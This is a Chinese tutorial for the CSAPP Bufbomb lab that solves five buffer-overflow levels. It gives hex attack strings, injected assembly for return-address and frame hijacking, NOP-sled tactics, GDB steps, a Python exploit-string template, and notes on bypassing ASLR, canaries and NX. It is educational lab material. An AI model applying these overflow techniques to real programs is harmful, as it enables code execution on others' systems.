当前位置: 首页 > news >正文

CSAPP Bufbomb 实验:5 个难度级别缓冲区溢出攻击实战与栈帧分析

CSAPP Bufbomb 实验:5 个难度级别缓冲区溢出攻击实战与栈帧分析

1. 实验环境与工具链配置

在开始缓冲区溢出攻击实验前,需要准备以下环境:

  • Linux 系统:推荐 Ubuntu 18.04+ 或 CentOS 7+
  • 必要工具
    sudo apt-get install gcc gdb python3 python3-pip build-essential
  • 实验文件
    • bufbomb:目标可执行程序
    • bufbomb.c:主程序源码(参考用)
    • makecookie:生成唯一 cookie 值
    • hex2raw:字符串格式转换工具

提示:使用objdump -d bufbomb > bufbomb.asm生成反汇编代码,这是后续分析的重要依据。

2. IA-32 栈帧结构与关键寄存器

理解栈帧结构是攻击的基础,典型函数调用栈布局如下:

内存地址内容说明
高地址参数 N调用者压入的参数
.........
低地址返回地址call 指令下一条指令地址
旧的 %ebp被调用者保存的帧指针
局部变量(如 buf)函数内部定义的变量

关键寄存器作用:

  • %eip:指令指针,存储下一条要执行的指令地址
  • %esp:栈指针,始终指向栈顶
  • %ebp:基址指针,标记当前栈帧起始位置

3. 五阶段攻击实战详解

3.1 Smoke(Level 0):基础返回地址覆盖

攻击目标:使getbuf()返回到smoke()而非原调用者。

操作步骤:

  1. 确定smoke()地址:

    objdump -d bufbomb | grep smoke

    示例输出:

    08048c18 <smoke>:
  2. 计算填充长度:

    • buf大小:0x28 (40) 字节
    • 覆盖保存的 %ebp:+4 字节
    • 覆盖返回地址:+4 字节
    • 总长度:48 字节
  3. 构造攻击字符串:

    00 00 00 00 ... (44个00) 18 8c 04 08

    使用小端格式写入返回地址。

3.2 Fizz(Level 1):带参数函数跳转

攻击目标:跳转到fizz(cookie)并传递正确的 cookie 值。

关键步骤:

  1. 分析fizz()参数位置:

    mov 0x8(%ebp), %eax # 参数位于 ebp+8
  2. 栈布局设计:

    [任意40字节][旧ebp][fizz地址][返回地址][cookie] ↑ ebp
  3. 示例攻击字符串(假设 cookie=0x12345678):

    00 00 00 00 ... (40个00) 00 00 00 00 42 8c 04 08 00 00 00 00 78 56 34 12

3.3 Bang(Level 2):注入可执行代码

攻击目标:注入汇编代码修改全局变量global_value

攻击代码示例(bang.s):

movl $0x12345678, 0x804d100 # 修改 global_value push $0x08048c9d # bang() 地址 ret # 跳转到 bang

编译与提取机器码:

gcc -m32 -c bang.s && objdump -d bang.o

关键技巧:

  • 确定buf起始地址(通过 GDB)
  • 用 NOP sled 增加命中概率

3.4 Boom(Level 3):精确栈帧恢复

攻击目标:使getbuf()正常返回,但返回值为 cookie。

解决方案:

  1. 注入代码设置返回值:

    mov $0x12345678, %eax # 设置返回值 push $0x08048dbe # 原返回地址 ret
  2. 精确恢复栈帧:

    • 通过 GDB 获取原 %ebp 值
    • 在攻击字符串中包含正确的 %ebp

3.5 Nitro(Level 4):对抗地址随机化

特殊挑战:每次运行时栈地址不同。

应对策略:

  1. NOP sled:用大量 NOP(0x90) 指令填充
  2. 宽返回地址:覆盖为可能的最大地址
  3. 相对地址计算:通过 %esp 推算关键地址

示例攻击代码:

lea 0x28(%esp), %ebp # 动态计算 %ebp mov $0x12345678, %eax # 设置返回值 push $0x08048e3a # testn 中的返回地址 ret

4. GDB 调试实战技巧

4.1 关键断点设置

gdb bufbomb (gdb) break *0x080490a3 # getbuf 中 Gets 调用前 (gdb) break *0x080490a8 # Gets 返回后

4.2 栈内存检查命令

(gdb) x/20xw $esp # 查看栈顶20个字 (gdb) info frame # 查看当前栈帧信息 (gdb) p $ebp # 查看当前ebp值

4.3 寄存器修改技巧

(gdb) set {int}0xbffff6bc = 0x08048e8b # 直接修改内存 (gdb) set $eax = 0x12345678 # 修改寄存器

5. 高级攻击技术与防御

5.1 现代防御机制

机制作用绕过方法
ASLR随机化内存布局信息泄露+暴力破解
Stack Canary检测栈破坏覆盖 canary 或跳过他
NX/DEP阻止栈执行代码ROP/JOP 攻击

5.2 攻击字符串生成模板

import struct def build_exploit(): buf = b'A' * 40 # 填充缓冲区 buf += struct.pack("<I", 0xdeadbeef) # 覆盖 ebp buf += struct.pack("<I", 0x08048c18) # 返回地址 return buf

实际项目中,缓冲区溢出漏洞的利用需要考虑更多现实约束,但本实验提供的五个难度级别完整覆盖了从基础到高级的攻击技术演进路径。通过结合 GDB 调试与汇编代码分析,可以深入理解计算机系统底层的安全机制设计原理。

http://www.jsqmd.com/news/1171774/

相关文章:

  • 基于MAX77654与MKV44F64的嵌入式电源管理方案设计
  • 随机抽样与简单数据分析:从基础方法到Python实战应用
  • Hydra 9.5 多协议暴力破解:SSH/FTP/RDP 3类服务实战命令与性能调优
  • MPC 2500硬件采样器制作硬核说唱节拍完整指南
  • Unity游戏架构实战:从模块化设计到性能优化的完整指南
  • Unity期末项目通关指南:核心脚本架构与组件实战技巧
  • NFA到DFA转换:子集构造法实战与Hopcroft最小化算法解析
  • Flask Session伪造漏洞:从原理到实战利用与防御
  • Python批量生成Word报告:模板驱动的办公自动化实战
  • node-gyp 依赖 Python 与 Visual Studio 的 2 种替代方案:从源码编译到预构建二进制
  • UE5 PCG程序化内容生成实战:从表面采样到静态网格体生成全流程解析
  • 亲身到店探访南京雷达官方售后服务中心|详细网点地址与售后热线(2026年7月最新) - 亨得利钟表维修中心
  • TMSpeech:Windows平台本地化实时语音识别解决方案深度解析
  • 混动汽车实训教学的信息化解法:虚拟仿真软件落地实践与深度测评
  • Hive 4.2.0 新特性实战:Iceberg V3集成与ACID事务性能提升3倍实测
  • Packet Tracer 8.2 中小型网络构建:3步完成VLAN与DHCP服务器联动配置
  • 免费玩转Cloudflare-08:用Cloudflare搭建你的专属 EPG 节目单接口
  • TB6593FNG与PIC32MZ的直流电机驱动系统设计与实现
  • KUKA SPS 后台程序 3 步配置:WorkVisual 连接、新建与冷启动设置
  • Rainmeter架构革命:Windows桌面自定义引擎的深度技术解析
  • 四足机器人实时控制架构与软硬协同原理
  • 2026年7月最新乌鲁木齐芝柏官方售后联系电话与客户服务中心网点地址 - 亨得利官方服务中心
  • 工业负载控制方案:TPD2015FN与PIC18F4455实战解析
  • 2.4G天线性能对比:PCB/芯片/导线3类天线实测与5大关键参数解析
  • 零基础AI编程实战:5分钟用Prompt工程构建贪吃蛇游戏
  • VMware Workstation 17 Pro 配置 Windows Server 2022:4核8G虚拟机性能调优与快照管理
  • 终极视频下载解决方案:VideoDownloadHelper开源浏览器插件深度指南
  • Kibana 7.6.1 实战:3步配置 Metricbeat 与 Filebeat 监控 ELK 集群
  • 《FROM》第七集深度解析:黄衣人击败背后的叙事逻辑与规则运用
  • 图扑软件 HT 2.5D 组态实战:从零构建智慧园区监控大屏的5个核心步骤